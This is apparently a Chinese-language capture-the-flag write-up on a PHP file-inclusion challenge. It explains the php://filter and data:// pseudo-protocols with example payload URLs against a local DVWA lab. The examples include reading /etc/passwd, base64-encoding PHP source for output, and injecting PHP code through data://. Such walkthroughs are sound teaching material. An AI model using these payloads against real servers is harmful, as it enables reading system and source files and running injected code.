先分析源码,已知有include,那肯定是文件包含漏洞了,当前页面有flag.php,漏洞在file1上,我们要让file2为hello ctf同时file1不为空(为flag.php)就能输出.
这是菜鸟教程里关于file_get_contents()函数的解释
我们有两个目标:
1.file1包含flag.php
2.file2包含hello ctf
我们已知:
flag.php就在当前网页下,
hello ctf就是普通的字符串
那么我这里给出两个伪协议来使用:
1.php:
php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。
php://filter伪协议:不受 allow_url_fopen与allow_url_include参数的影响
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/resource=./1.txt 相对路径
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd
此协议主要用于读取php源代码时会用到
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64编码将文件内容输出
看来php://filter很适合读取php源代码,这题中的flag.php就是源代码,我们的目标1就很适合用这个试试看
2.data:
allow_url_fopen: on allow_url_include: on
http://127.0.0.1/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://127.0.0.1/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
我们要求的是===三个等于,就必须要保证一模一样,data上面那个就很适合我们使用
解码得到flag